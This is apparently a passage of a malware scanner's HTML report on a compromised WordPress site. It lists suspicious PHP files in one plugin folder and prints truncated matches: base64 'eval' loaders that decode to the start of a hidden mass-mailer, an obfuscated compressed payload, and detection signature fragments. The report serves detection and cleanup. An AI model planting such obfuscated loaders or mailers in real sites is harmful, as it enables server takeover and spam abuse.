</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_314").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/dblpw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:50:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:50:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_315" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_315").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/mhgdkydx.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 20:57:19</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 20:57:19</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_316" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_316").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/eezlw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:50:50</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:50:50</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_317" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_317").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/jjuna.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 18:08:43</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 18:08:43</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_318" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
